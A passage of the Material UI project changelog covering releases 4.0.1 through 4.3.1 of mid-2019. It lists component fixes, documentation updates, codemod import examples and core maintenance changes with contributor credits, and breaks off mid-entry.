2019 update (#16872) @oliviertassinari\n- [docs] Add Material UI with React course in learning (#16869) @deekshasharma\n- [docs] Add error boundary to demos (#16871) @oliviertassinari\n- [docs] Add react compatibility in supported platforms (#16863) @pranshuchittora\n- [docs] Batch small changes (#16951) @oliviertassinari\n- [docs] Fix build on windows (#16870) @merceyz\n- [docs] Fix grammatical error in components docs (#16886) @Dasbachc\n- [docs] Hide header in DefaultTheme demo (#16937) @rogerclotet\n- [docs] Migrate WithTheme demo to TypeScript (#16941) @rogerclotet\n- [docs] Batch small changes (#16864) @oliviertassinari\n- [docs] Batch small changes (#16883) @oliviertassinari\n\n### Core\n\n- [benchmark] Fix not running (#16900) @ypresto\n- [ci] Ignore dependabot branches (#16893) @eps1lon\n- [core] Generate PropTypes from type definitions (#16642) @merceyz\n- [core] Optimize destructuring for useState, useReducer (#16842) @NMinhNguyen\n- yarn docs:api @oliviertassinari\n\n## 4.3.1\n\n_Aug 03, 2019_\n\nA big thanks to the 18 contributors who made this release possible!\n\n### `@material-ui/core@v4.3.1`\n\n- [Container] Add missing class key to overrides interface (#16783) @Und3Rdo9\n- [Dialog] Test with testing-library (#16780) @eps1lon\n- [Grid] Add 'root' to GridClassKey typing (#16799) @hendrikskevin\n- [Modal] Fix Modal default open with disablePortal behavior (#16850) @lmuller18\n- [Popper] Fix handlePopperRefRef.current is not a function (#16807) @darkowic\n- [Radio][switch][Checkbox] Document the `required` prop (#16809) @pranshuchittora\n- [Slider] Fix small typo (#16825) @ninjaPixel\n- [TextareaAutosize] Add missing export for TextareaAutosize (#16815) @tuxracer\n- [Tooltip] Fix tooltips's demo arrow dimensions (#16838) @fillipe-ramos\n- [Tooltip] Remove the title attribute when open (#16804) @jamesgeorge007\n- [Transition] Change the default behavior, 0ms duration if prop missing (#16839) @jamesgeorge007\n\n### `@material-ui/lab@v4.0.0-alpha.22`\n\n- [TreeView] Iterate on the component (#16814) @mbrookes\n- [TreeView] Add customization demo (#16785) @oliviertassinari\n\n### Docs\n\n- [docs] Add missing `(` to withStyle docs (#16816) @SneakyFish5\n- [docs] Fix typo in description of Slider (#16824) @LorenzHenk\n- [docs] Improve the issue template (#16836) @pranshuchittora\n- [docs] Link react-most-wanted (#16856) @TarikHuber\n- [docs] Migrate all public class component to function components (#16693) @bpas247\n- [docs] Small fix for box.md and migration.md (#16806) @DDDDDanica\n- [docs] Update `@material-ui/pickers` (#16823) @eps1lon\n\n## 4.3.0\n\n_July 28, 2019_\n\nA big thanks to the 23 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🌳 Introduce a new Tree view component in the (#14827) @joshwooding.\n\n  This is a first step toward a feature rich tree view component.\n  We will keep iterate on it to add customization demos, filter, drag and drop, and checkboxes.\n  You can find the documentation under [this URL](https://mui.com/components/tree-view/).\n\n- 💄 Support vertical tabs (#16628) @josephpung.\n\n  You can learn more about it following [this URL](https://mui.com/components/tabs/#vertical-tabs).\n\n- 📚 Remove the prop-types from TypeScript demos (#16521) @merceyz.\n\n  The runtime prop-types are often redundant with the static type checks.\n  We have removed them from the TypeScript demos.\n\n- ⚛️ Add two codemods to improve the imports (#16192) @jedwards1211.\n\n  If you are not familiar with codemods, [check the library out](https://github.com/facebook/codemod). This is a tool tool to assist you with large-scale codebase refactors.\n  We introduce two new codemods in this release:\n  - `optimal-imports`: Material UI supports tree shaking for modules at 1 level depth maximum.\n    You shouldn't import any module at a higher level depth.\n\n  ```diff\n  -import createMuiTheme from '@material-ui/core/styles/createMuiTheme';\n  +import { createMuiTheme } from '@material-ui/core/styles';\n  ```\n\n  - `top-level-imports`: Converts all @material-ui/core submodule imports to the root module.\n\n  ```diff\n  -import createMuiTheme from '@material-ui/core/styles/createMuiTheme';\n  +import { createMuiTheme } from '@material-ui/core';\n  ```\n\n- 💄 Support small switch (#16620) @darkowic.\n\n  You can learn more about it following [this URL](https://mui.com/components/switches/#sizes).\n\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.3.0`\n\n- [FilledInput] Add hiddenLabel prop (#16671) @oliviertassinari\n- [Menu] Use strict mode compatible testing API (#16582) @eps1lon\n- [Modal] Fix focus not being contained (#16585) @eps1lon\n- [Modal] Prevent backdrop to stay open (#16694) @ValentinH\n- [Popper] Fix scroll jump when content contains autofocus input (#16740) (#16751) @alirezamirian\n- [Portal] Prepare deprecation of onRendered (#16597) @oliviertassinari\n- [SelectInput] Fix layout issue with displayEmpty (#16743) @ypresto\n- [Select] Implement WAI-ARIA dropdown without label (#16739) @eps1lon\n- [useMediaQuery] Improve useWidth demo (#16611) @siriwatknp\n- [Step] Add `completed` class key to TypeScript definitions (#16662) @pranshuchittora\n- [Stepper] Add cutomization example (#16769) @oliviertassinari\n- [Switch] Support small size (#16620) @darkowic\n- [Tabs] Improve accessibility (#16384) @mbrookes\n- [Tabs] Support vertical tabs (#16628) @josephpung\n- [TextField] Rename interface FormControl to FormControlState (#16748) @B3zo0\n- [TextareaAutosize] Fix infinite render loop (#16635) @oliviertassinari\n- [TextareaAutosize] Fix infinite render loop (#16708) @mcdougal\n\n### `@material-ui/lab@v4.0.0-alpha.21`\n\n- [TreeView] Add new component (#14827) @joshwooding\n\n### `@material-ui/styles@@4.3.0`\n\n- [styles] Add typings for font-face (#16639) @merceyz\n\n### `@material-ui/codemod@v4.3.0`\n\n- [codemod] Add codemods for optimal tree-shakeable imports (#16192) @jedwards1211\n\n### `@material-ui/system@v4.3.2`\n\n- [core] Import esm babel helpers (#16701) @TrySound\n\n### Docs\n\n- [docs] Add CSS to api for TextField (#16659) @m2mathew\n- [docs] Apply v1 redirection first @oliviertassinari\n- [docs] Batch changes (#16621) @oliviertassinari\n- [docs] Display correct version of Material UI (#16680) @eps1lon\n- [docs] Document the global class names (#16770) @oliviertassinari\n- [docs] Fix SEO reported by Ahrefs (#16765) @oliviertassinari\n- [docs] Fix Typo in modal.md (#16744) @jeffshek\n- [docs] Fix dependabot badge (#16725) @eps1lon\n- [docs] Fix reset colors crashing app (#16750) @eps1lon\n- [docs] Fix typo in typography.md (#16654) @hexium310\n- [docs] Generate prop-types from TypeScript demos (#16521) @merceyz\n- [docs] Grammar fix for global class names docs (#16778) @joshwooding\n- [docs] Improve SEO (#16724) @oliviertassinari\n- [docs] Improve favicon (#16632) @oliviertassinari\n- [docs] Improve generated markdown (#16771) @merceyz\n- [docs] Link page layouts to premium themes (#16690) @mbrookes\n- [docs] Move dependencies/scripts from root into workspace (#16640) @eps1lon\n- [docs] Prevent password field blur when adornment clicked (#16672) @ee92\n- [docs] Redirects old v1.5.0 url to v1 subdomain (#16658) @m2mathew\n- [docs] Reduce bundle size (#16046) @eps1lon\n- [docs] Remove bbb from showcase (#16687) @mbrookes\n- [docs] Remove unused imports (#16623) @merceyz\n- [docs] Reword unsupported material components notes (#16660) @m2mathew\n- [docs] Solve docs 301 redirections (#16705) @oliviertassinari\n- [docs] Update translations (#16684) @mbrookes\n- [docs] Upgrade next to v9 (#16546) @eps1lon\n- [docs] Revert upgrade to next 9 (#16755) @eps1lon\n- [docs] Workaround to describe aria-sort (#16767) @mbrookes\n- [examples] Remove version next version from the description (#16678) @straxico\n\n## Core\n\n- [test] Fix empty visual rergression screenshots (#16702) @eps1lon\n- [test] Fix failing test_browser in edge (#16688) @eps1lon\n- [core] Batch changes (#16691) @oliviertassinari\n- [core] Batch small changes (#16766) @oliviertassinari\n- [core] Deduplicate packages (#16608) @merceyz\n- [core] Fix type definition for createMuiTheme SpacingOptions (#16624) @dominictwlee\n- [core] Import esm babel helpers (#16701) @TrySound\n- [core] Introduce dependabot (#16679) @eps1lon\n- [core] Remove old JSS v9 animationName property (#16779) @merceyz\n- [core] Upgrade babel-plugin-optimize-clsx (#16636) @merceyz\n- [core] Upgrade dependencies from yarn audit (#16625) @merceyz\n- [core] Upgrade jss (#16668) @TrySound\n- [core] Bump babel dependencies to latest (#16699) @eps1lon\n- [ci] Merge test_browser and test_production (#16731) @eps1lon\n- [ci] Use custom frozen lockfile check (#16677) @eps1lon\n\n## 4.2.1\n\n_July 17, 2019_\n\nA big thanks to the 25 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- ♿️ Improve Dialog header accessibility (#16576) @dayander.\n- ⚛️ Fix more strict mode warnings (#16525) @eps1lon.\n- 🐛 Fix menu dense support (#16510) @sumedhan.\n- ⭐️ Introduce a new Rating component in the lab.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.2.1`\n\n- [Autocomplete] Use placeholder prop (#16568) @himanshupathakpwd\n- [DialogTitle] Update default element from h6 to h2 (#16576) @dayander\n- [Grid] Generify props with component property (#16590) @JipingWang\n- [InputBase] Fix inconsistent filled state (#16526) @eps1lon\n- [InputBase] Improve documentation for custom `inputComponent` (#16399) @eps1lon\n- [Input] Add missing class keys in TypeScript (#16529) @dskiba\n- [MenuItem] Fix dense prop support (#16510) @sumedhan\n- [Modal] Use computed key to restore style (#16540) @neeschit\n- [Popper] Refactor to more commonly known react patterns (#16613) @eps1lon\n- [Ripple] Use custom transition logic (#16525) @eps1lon\n- [Slide] Remove gutter (#16533) @User195\n- [TouchRipple] Convert to function component (#16522) @joshwooding\n- [Transition] The ref forwarding works (#16531) @oliviertassinari\n- [useMediaQuery] Accept function as argument & more (#16343) @merceyz\n\n### `@material-ui/styles@v4.2.1`\n\n- [styles] Make theme optional for `styled` components (#16379) (#16478) @akomm\n- [core] Upgrade deepmerge (#16520) @TrySound\n\n### `@material-ui/system@v4.3.1`\n\n- [core] Upgrade deepmerge (#16520) @TrySound\n\n### `@material-ui/lab@v4.0.0-alpha.20`\n\n- [Rating] Add a new component (#16455) @oliviertassinari\n- [SpeedDialAction] Convert to hook (#16386) @adeelibr\n\n### Docs\n\n- [docs] Add density guide to customizations (#16410) @eps1lon\n- [docs] Add sidebar alias to Drawer demo description (#16535) @mbrookes\n- [docs] Fix dead link (#16567) @sharils\n- [docs] Fix typo (#16561) @siowyisheng\n- [docs] Fix typo in advanced styles guide (#16593) @elquimista\n- [docs] Fix typo: change lakes to lacks (#16553) @davinakano\n- [docs] Remove <any> from nextjs-with-typescript example (#16555) @virzak\n- [docs] Remove duplicate alts (#16564) @williammalone\n- [docs] Update migration v3 guide, slider in core (#16589) @elquimista\n- [docs] Update typo in docs - portals (#16592) @siowyisheng\n- [docs] Use LinkProps from next in examples (#16583) @Janpot\n- [example] Fix \"@zeit/next-typescript\" dependency missing (#16603) @nb256\n- [examples] Update to support Next.js v9 (#16519) @Janpot\n- [blog] June 2019 Update (#16516) @oliviertassinari\n\n### Core\n\n- [core] Fix docs:typescript:check (#16607) @merceyz\n- [core] Fix incorrect usage of HtmlHTMLAttributes (#16579) @whitneyit\n- [core] Re-export missing typings (#16490) @merceyz\n- [core] Remove all .defaultProps usages (#16542) @joshwooding\n- [core] Restrict setRef usage to ref callback (#16539) @eps1lon\n- [core] Upgrade convert-css-length (#16530) @TrySound\n- [core] Upgrade deepmerge (#16520) @TrySound\n- [core] Use useFormControl instead of withFormControlState (#16503) @eps1lon\n- [core] Batch small changes (#16532) @oliviertassinari\n- [test] Run queries on document.body (#16538) @eps1lon\n- [test] react-test-renderer coverage (#16523) @dondi\n- [ci] Create canaries (#16587) @eps1lon\n\n## 4.2.0\n\n_July 6, 2019_\n\nA big thanks to the 24 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- ♿️ Fix the persisting aria-hidden logic of the Modal (#16392) @eps1lon.\n- 💄 Move the Slider component to the core (#16416).\n- 💄 Introduce a new TextareaAutosize component (#16362).\n- ⚛️ Migrate a few components to testing-library.\n- 🚀 Remove two dependencies (react-event-listener and debounce).\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.2.0`\n\n- [Tabs] Use the correct window reference (#16497) @NMinhNguyen\n- [Breadcrumbs] Add li to BreadcrumbsClassKey type (#16425) @le0nik\n- [ButtonBase] Fix anchors with href having a button role (#16397) @eps1lon\n- [ButtonBase] Improve test coverage (#16361) @eps1lon\n- [CardMedia] Change prop requirements to conform html picture semantics (#16396) @maeertin\n- [ClickAwayListener] Don't miss any click away events (#16446) @NMinhNguyen\n- [FormControl] Add useFormControlState (#16467) @eps1lon\n- [ListItemIcon] Add margin to line up when using flex-start (#16398) @slim-hmidi\n- [ListItemSecondaryAction] Add missing types for props spread (#16411) @nsams\n- [MenuItem] Fix type deceleration not using MenuItemClassKey (#16358) @merceyz\n- [Menu] Fix autoFocus to work correctly with keepMounted (#16450) @ryancogswell\n- [Modal] Fix persisting aria-hidden (#16392) @eps1lon\n- [Modal] Make the modal demo style more \"agnostic\" (#16385) @oliviertassinari\n- [Select] Fix node reference (#16401) @ffjanhoeck\n- [Slider] Fix small step regression (#16395) @alitaheri\n- [Slider] Fix textAlign prop affecting Slider rail (#16440) @mohan-cao\n- [Slider] Move to core (#16416) @oliviertassinari\n- [Tabs] Migrate to hooks (#16427) @oliviertassinari\n- [TextareaAutosize] Fix one possible case of infinite render loop (#16387) @ZYinMD\n- [TextareaAutosize] New public component (#16362) @oliviertassinari\n- [Tooltip] Fix arrow demos (#16412) @Favna\n\n### `@material-ui/styles@v4.2.0`\n\n- [styles] Add test for removing styles via `overrides` (#16420) @eps1lon\n- [styles] Handle props of type any in styled (#16356) @merceyz\n- [styles] Support augmenting CSS properties (#16333) @merceyz\n\n### `@material-ui/lab@v4.0.0-alpha.19`\n\n- [Slider] Move to core (#16416) @oliviertassinari\n\n### Docs\n\n- [docs] Fix typo in TypeScript doc (#16365) @DDDDDanica\n- [docs] Add missing page title for translations (#16375) @jaironalves\n- [docs] Correct spelling imporant -> important (#16388) @rlfarman\n- [docs] Fix typo in customizing components (#16404) @YipinXiong\n- [docs] Fix typo in docs server (#16406) @thanasis00\n- [docs] Fixed link to Button API in FAQ (#16370) @kxlow\n- [docs] Improve example of Custom Pagination Actions Table (#16472) @bigtone1284\n- [docs] Minor improvements (#16423) @eps1lon\n- [docs] Reduce the headers font-size (#16433) @oliviertassinari\n- [docs] Remove compose helper (#16429) @oliviertassinari\n- [docs] Remove outdated references to the @next release (#16428) @davidoffyuy\n- [docs] Replace hardcoded content with translation (#16380) @eps1lon\n- [docs] Small ad information icon (#16438) @oliviertassinari\n- [docs] Update displayEmpty prop description in Select API docs (#16376) @bigtone1284\n- [docs] Update testing guide (#16368) @eps1lon\n- [docs] Use full text of the code of conduct (#16417) @mbrookes\n- [docs][tablecell] Fix padding and size property descriptions (#16378) @the-question\n\n### Core\n\n- [test] Simpler createClientRender (#16461) @eps1lon\n- [ci] Move TypeScript tests into separate job (#16405) @eps1lon\n- [ci] Persist/Report only if previous steps succeeded (#16432) @eps1lon\n- [core] Improve test coverage (#16453) @eps1lon\n- [core] Speed-up typechecking (#16413) @merceyz\n\n## 4.1.3\n\n_June 25, 2019_\n\nA big thanks to the 4 contributors who made this release possible!\nThis is a quick release after a regression that occurred in 4.1.2.\n\n### `@material-ui/core@v4.1.3`\n\n- [core] Revert strict mode compatible transition components (#16348) @eps1lon\n- [theme] Validate fontSize in createTypography (#16321) @merceyz\n\n### `@material-ui/lab@v4.0.0-alpha.18`\n\n- [Slider] Fix label contrast color (#16350) @oliviertassinari\n\n### Docs\n\n- [docs] Improve colors reliably (#16324) @oliviertassinari\n- [docs] Migrate batch of demos to hooks/typescript (#16334) @merceyz\n- [docs] Some fixes to the Link component page (#16345) @kyarik\n- [docs] Use latest size snapshot from master (#16342) @eps1lon\n\n## 4.1.2\n\n_June 23, 2019_\n\nA big thanks to the 30 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- ♿️ Fix Select and Menu keyboard behavior (#16323).\n- 🚀 Reduce the Modal bundle size by -22% (5 kB) (#15839, #16254, #16262).\n- 💄 Remove noise from the material.io generated icons (#16258).\n- ⚛️ Extend StrictMode compatibility to 25 more components (#16283).\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.1.2`\n\n- [ButtonBase] Fix dragging issue (#16250) @LukasMirbt\n- [Dialog] Prepare deprecation of withMobileDialog (#14992) @oliviertassinari\n- [Divider] Add aria role if it's not implicit (#16256) @eps1lon\n- [Grow][zoom] Remove transform value when entered (#16297) @gijsbotje\n- [MenuList] Fix keyboard a11y when no item is focused when opening (#16323) @eps1lon\n- [Menu] Add missing `autoFocus` TypeScript types (#16289) @BassT\n- [Modal] Fix aria-hidden restore logic (#15839) @mackersD\n- [Modal] Migrate to hooks (#16254) @oliviertassinari\n- [Modal] Refactor tests to remove internal accesses (#16262) @oliviertassinari\n- [Select] Fix autowidth not working with open controlled (#16214) @jobpaardekooper\n- [Select] Fix display when no value is selected (#16294) @ianschmitz\n- [Select] Fix forward ref logic (#16296) @ffjanhoeck\n- [Select] Fix specificity issue (#16137) @aditya1906\n- [Slide] Remove the transform property once open (#16281) @gijsbotje\n- [Snackbar] Fix type definition of autoHideDuration prop (#16257) @brunomonteirosud\n- [TextField] Fix media hover specificity issue (#16266) @arminydy\n- [TextField] Reduce specificity of notchedOutline (#16304) @romanr\n- [Textarea] Update height when maxRows prop changes (#16298) @tasinet\n- [TouchRipple] Fix ripple staying on fast updates (#16291) @eps1lon\n\n### `@material-ui/icons@v4.2.1`\n\n- [icons] Remove noise from Google source (#16258) @oliviertassinari\n\n### `@material-ui/system@v4.3.0`\n\n- [system] Add support for marginX, marginY, paddingX, and paddingY (#16169) @dimitropoulos\n- [system] Add visibility property to display (#16231) @aditya1906\n\n### `@material-ui/lab@v4.0.0-alpha.17`\n\n- [Slider] Fix onChangeCommitted firing on mouseenter (#16329) @cdcasey\n- [Slider] Fix various tick mark issues (#16275) @eps1lon\n- [Slider] Mitigate floating point errors (#16252) @joaosilvalopes\n\n### `@material-ui/styles@v4.1.2`\n\n- [styles] Make StyleRules backwards compatible (#16200) @merceyz\n- [styles] Only run the check on the client-side (#16284) @oliviertassinari\n- [styles] Remove withTheme type from makeStyles options (#16217) @merceyz\n\n### Docs\n\n- [docs] Add docs for Overflow, TextOverflow, WhiteSpace (#16170) @aditya1906\n- [docs] Batch of fixes (#16229) @oliviertassinari\n- [docs] Better react-router-dom version comment (#16335) @kyarik\n- [docs] Convert SideEffects to hooks (#16197) @eps1lon\n- [docs] Fix IE11 rendering issue on the pickers page (#16246) @oliviertassinari\n- [docs] Fix code example (#16279) @maslowproject\n- [docs] Fix links that point to the next branch (#16326) @Maxim-Mazurok\n- [docs] Fix outdated react-transition-group docs link (#16274) @eps1lon\n- [docs] Improve codevariant switch perf (#16211) @eps1lon\n- [docs] Include and explain value type change in migration guide (#16226) @eps1lon\n- [docs] Instapaper, fix contained+secondary button border (#16236) @patelnav\n- [docs] Material Sense is only using v3 (#16267) @josiahbryan\n- [docs] Migrate batch of demos to hooks/typescript (#16322) @merceyz\n- [docs] Remove import if there are no specifiers left (#16199) @merceyz\n- [docs] Fix a typo emooji -> emoji (#16286) @sabrinaluo\n- [example] Hooks are standards now, no need to mention it (#16288) @obedparla\n- [examples] Fix the styled-jsx integration of the Next.js examples (#16268) @lifeiscontent\n\n### Core\n\n- [types] Explicitly use react types (#16230) @kdy1\n- [test] Introduce @testing-library/react (#15732) @eps1lon\n- [core] Add MuiCardActionArea prop (#16235) @aditya1906\n- [core] Add missing MuiTableHead and MuiTableBody type to theme.props (#16220) @merceyz\n- [core] Add missing exports from styles in core (#16311) @fzaninotto\n- [core] Change <> to <React.Fragment> (#16225) @aditya1906\n- [core] Extend StrictMode compatibility (#16283) @eps1lon\n- [core] Move size tracking to azure pipelines (#16182) @eps1lon\n- [core] Remove string from SpacingArgument in theme.spacing (#16290) @merceyz\n- [ci] Build packages in parallel for size snapshot (#16261) @eps1lon\n- [ci] Run azure on master (#16207) @eps1lon\n- [ci] Use sinon browser build (#16208) @eps1lon\n\n## 4.1.1\n\n_June 13, 2019_\n\nA big thanks to the 10 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🐛 Fix react-hot-loader regression (#16195).\n- 🐛 Fix TypeScript icons regression (#16139) @MayhemYDG.\n- 🐛 Fix withWidth regression (#16196).\n- 💄 Add Slider range support (#15703).\n- And many more 📚 improvements.\n\n### `@material-ui/core@v4.1.1`\n\n- [ButtonBase] Fix riple not stopping on mouse up (#16142) @joaosilvalopes\n- [useMediaQuery] Defensive logic against matchMedia not available (#16196) @oliviertassinari\n- [Typography] Fix variantMapping rejecting partial type (#16187) @eps1lon\n\n### `@material-ui/styles@v4.1.1`\n\n- [styles] Fix react-hot-loader regression (#16195) @oliviertassinari\n\n### `@material-ui/icons@v4.2.0`\n\n- [icons] Fix generated index.d.ts (#16139) @MayhemYDG\n- [icons] Update and clean the icons (#16166) @oliviertassinari\n\n### `@material-ui/lab@v4.0.0-alpha.16`\n\n- [Slider] Support range (#15703) @oliviertassinari\n\n### `@material-ui/system@v4.2.0`\n\n- [system] Add overflow, textOverflow, whiteSpace properties (#16129) @aditya1906\n- [system] Add remaining flexbox properties (#16164) @aditya1906\n\n### Docs\n\n- [docs] Add 700 font weight support (#16141) @aditya1906\n- [docs] Change http to https part 2 (#16171) @aditya1906\n- [docs] Fix build on windows (#16154) @merceyz\n- [docs] Fix small typos in v3->v4 migration guide (#16174) @charlax\n- [docs] Improve the CssBaseline description (#16148) @levigunz\n- [docs] Lowercase text to demo text-transform (#16160) @blmoore\n- [docs] Pseudo-class: the style rules that require an increase of specificity (#16120) @oliviertassinari\n- [docs] Remove `CSS to Material UI webpack Loader` (#16175) @sabrinaluo\n- [docs] import Omit Type from @material-ui/types (#16157) @aditya1906\n\n### Core\n\n- [core] Add TypeScript types for styled (#16133) @merceyz\n- [core] Fix withStyles not including props (#16134) @merceyz\n- [core] Fix yarn docs:api removing <br> tags on windows (#16165) @merceyz\n- [core] Remove bootstrap v4-alpha (#16177) @aditya1906\n\n## 4.1.0\n\n_June 10, 2019_\n\nA A big thanks to the 26 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 💄 A new ButtonGroup component (#15744) @mbrookes.\n- 💄 New system props (flex, fontStyle, letterSpacing, lineHeight) (#16045, #16109) @ljvanschie, @aditya1906.\n- 📚 Fix the documentation notification spam (#16070).\n- 💄 A new fontWeightBold typography theme value (#16036) @aditya1906.\n- 🚀 Reduce TypeScript compile time when using the icons (#16083) @phryneas.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.1.0`\n\n- [ButtonGroup] New component (#15744) @mbrookes\n- [TextField] Improve dense height to better match the specification (#16087) @Ritorna\n- [Popper] Add popperRef prop (#16069) @oliviertassinari\n- [theme] Add fontWeightBold to theme.typography (#16036) @aditya1906\n- [LinearProgress] Fix direction issue in RTL (#16009) @mkermani144\n- [Dialog] Fix double scroll issue (#16108) @williamsdyyz\n- [Popper] Fix anchorEl prop types (#16004) @dan8f\n- [Snackbar] Fix wrong event call (#16070) @oliviertassinari\n- [SwipeableDrawer] Convert to function component (#15947) @joshwooding\n- [Tab] Improve the textColor description (#16085) @sPaCeMoNk3yIam\n- [withWidth] Migrate to hooks (#15678) @jacobbogers\n\n### `@material-ui/system@v4.1.0`\n\n- [system] Add flex to FlexboxProps type definitions (#16045) @ljvanschie\n- [system] Add fontStyle, letterSpacing, lineHeight props (#16109) @aditya1906\n- [system] Fix breakpoints TypeScript types (#15720) @Kujawadl\n\n### `@material-ui/styles@v4.1.0`\n\n- [styles] Allow CSS properties to be functions (#15546) @merceyz\n- [styles] Fix styled type definition not including properties (#15548) @merceyz\n- [styles] Upgrade jss (#16121) @eps1lon\n\n### `@material-ui/icons@v4.1.0`\n\n- [icons] Simplify generated index.d.ts to reduce TypeScript compile time (#16083) @phryneas\n\n### Docs\n\n- [blog] May 2019 Update (#16117) @oliviertassinari\n- [docs] Minor typo correction (#16115) @tonytino\n- [docs] Add AdaptingHook TypeScript demo (#16131) @merceyz\n- [docs] Add global override demos (#16067) @oliviertassinari\n- [docs] Add redirect for typography migration (#16077) @eps1lon\n- [docs] Add system example for prop + theme key (#16099) @peteruithoven\n- [docs] Batch of small fixes (#16061) @oliviertassinari\n- [docs] Bump material-table and @material-ui/pickers versions (#16039) @eps1lon\n- [docs] Change http to https (#16056) @aditya1906\n- [docs] Fix bundle doc typos (#16054) @DDDDDanica\n- [docs] Fix chip array removal (#16086) @joaosilvalopes\n- [docs] Fix grammar in migration doc (#16064) @DDDDDanica\n- [docs] Fix some warnings/regressions (#16106) @eps1lon\n- [docs] Fix spelling and usage of MuiCssBaseline (#16098) @tschaub\n- [docs] Fix typo in the Gatsby example (#16130) @bernardwang\n- [docs] Make demos linkable (#16063) @eps1lon\n- [docs] Migrate Popover demo to Hooks (#16074) @nikhilem\n- [docs] Migrate batch of demos to hooks/typescript (#16003) @merceyz\n- [docs] Move the themes to themes.mui.com (#15983) @oliviertassinari\n- [docs] Remove duplicate font icons instruction (#16066) @hubgit\n- [docs] Remove extraneous link to migration helper (#16082) @charlax\n- [docs] Remove unsupported textDense styles (#16057) @sadika9\n- [docs] Revert unreleased changes to the useMediaQuery API (#16127) @oliviertassinari\n- [docs] Update translations (#16125) @mbrookes\n- [docs] Upgrade notistack and migrate the demo to hooks (#16124) @merceyz\n- [docs] Use immediate export in MenuAppBar.js (#16032) @aditya1906\n- [docs] Use immediate export when there is no HOC part 2 (#16038) @merceyz\n\n### Core\n\n- [core] Fix incorrect typings for hexToRgb (#16059) @whitneyit\n- [core] Fix type definition for theme.spacing (#16031) @merceyz\n- [core] Remove direct type dependency to jss/csstype (#16071) @eps1lon\n- [core] Remove export of describeConformance (#16048) @eps1lon\n- [core] Use only up to second level path imports (#16002) @eps1lon\n- [test] Bump karma-webpack (#16119) @eps1lon\n\n## 4.0.2\n\n_June 3, 2019_\n\nA A big thanks to the 30 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🐛 A second stability release after the release of v4.0.0.\n- 💄 Add a new size=\"small\" prop to the Chip component (#15751) @mbrookes.\n- 🐛 Fix three IE11 issues (#15921, #15952, #15967) @eps1lon, @rupert-ong, @ryancogswell\n- And many more 📚 improvements.\n\n### `@material-ui/core@v4.0.2`\n\n- [Box] Fix prop-types and TypeScript warnings (#15884) @eps1lon\n- [Breadcrumbs] Add theme props and override TypeScript definitions (#15950) @chrislambe\n- [Chip] Add size prop for small option (#15751) @mbrookes\n- [Container] Document the classes API (#15919) @divyanshutomar\n- [Dialog] Improve scroll=body CSS logic (#15896) @DominikSerafin\n- [Link] Better support of component=\"button\" (#15863) @ianschmitz\n- [Popover] Convert to function component (#15623) @joshwooding\n- [Portal] Synchronously call onRendered (#15943) @Arlevoy\n- [Radio] Fix dot misalignment in IE11 (#15952) @rupert-ong\n- [theme] Return default value for spacing when no args provided (#15891) @mbrookes\n- [FocusTrap] Fix error restoring focus when activeElement is null (#15967) @ryancogswell\n- [core] Export useMediaQuery & useScrollTrigger in index.js (#15958) @adeelibr\n- [core] Migrate extend ButtonBaseProps typings (#15869) @joshwooding\n\n### `@material-ui/styles@v4.0.2`\n\n- [styles] Remove warning when component with no displayName is provided (#15913) @eps1lon\n- [styles] Fix createStyles for TypeScript v3.5 (#15990) @merceyz\n\n### `@material-ui/system@v4.0.2`\n\n- [system] Fix typing for flexDirection prop (#15987) @rhmoller\n\n### `@material-ui/lab@v4.0.0-alpha.15`\n\n- [lab] Consume correct core utils in lab (#15995) @TrySound\n\n### `@material-ui/codemod@v4.0.2`\n\n- [codemod] Improve theme codemod to handle destructured theme.spacing (#15916) @sviande\n\n### Docs\n\n- [docs] Add React + Material UI + Firebase as an example project (#15915) @Phoqe\n- [docs] Batch of fixes (#15996) @oliviertassinari\n- [docs] Fix a typo within pricing page layout example (#15978) @sdornan\n- [docs] Fix broken JSS links (#15972) @timkindberg\n- [docs] Fix most lighthouse a11y issues in input demos (#15780) @eps1lon\n- [docs] Fix typo (#15975) @rick-software\n- [docs] Fix wrong variable name (styles => useStyles) (#15908) @hiromoon\n- [docs] Icon TypeScript demos (#15965) @goldins\n- [docs] Improve dark mode (#15944) @eps1lon\n- [docs] Improve interactive performance (#15874) @eps1lon\n- [docs] Improve lighthouse a11y score in demos (#15901) @eps1lon\n- [docs] Mention Virtuoso as a possible virtualization integration (#15934) @petyosi\n- [docs] Migrate Grid demos to hooks (#15970) @merceyz\n- [docs] Migrate Hidden demos to hooks (#15989) @merceyz\n- [docs] SignIn -> SignUp typo (#15966) @Hatko\n- [docs] Update FUNDING.yml with Tidelift string (#15981) @jeffstern\n- [docs] Update the translations (#15991) @mbrookes\n- [docs] v4 Migration doc slight clean up (#15886) @mlenser\n- [example] Fix ssr example to work on Windows (#15949) @petervaldesii\n- [example] Fix theme palette value (#15977) @vaidehi27\n- [docs] Fix syntax error in v3 migration guide (#16010) @zhuangya\n- [docs] Use immediate export when there is no HOC (#16005) @merceyz\n\n### Core\n\n- [core] Add dependency react>=16.3.0 requested by @emotion/core and react-js (#15982) @marco-silva0000\n- [core] Fix IE11 crashes related to Object.assign (#15921) @eps1lon\n- [core] Minor fixes (#15875) @joshwooding\n- [core] Remove export of internal test-utils (#15895) @eps1lon\n- [core] Update babel-plugin-optimize-clsx (#15894) @merceyz\n- [core] Upgrade rollup and related plugins (#15939) @merceyz\n- [ci] Move static tests into separate job (#15890) @eps1lon\n- [core] Upgrade dependencies with esm support (#16000) @TrySound\n\n## 4.0.1\n\n_May 27, 2019_\n\nA A big thanks to the 23 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🐛 A stability release after the release of v4.0.0.\n- 🤖 A new codemod to migrate the theme.spacing.unit API (#15782) @joshwooding.\n- 🐛 Fix IE11 crash (#15856) @aditya1906.\n- 📚 Clean up the documentation after the next -> master migration.\n\n### `@material-ui/core@v4.0.1`\n\n- [Buttons] Consolidate ripple props type declarations (#15843) @lychyi\n- [IconButton] Add disable 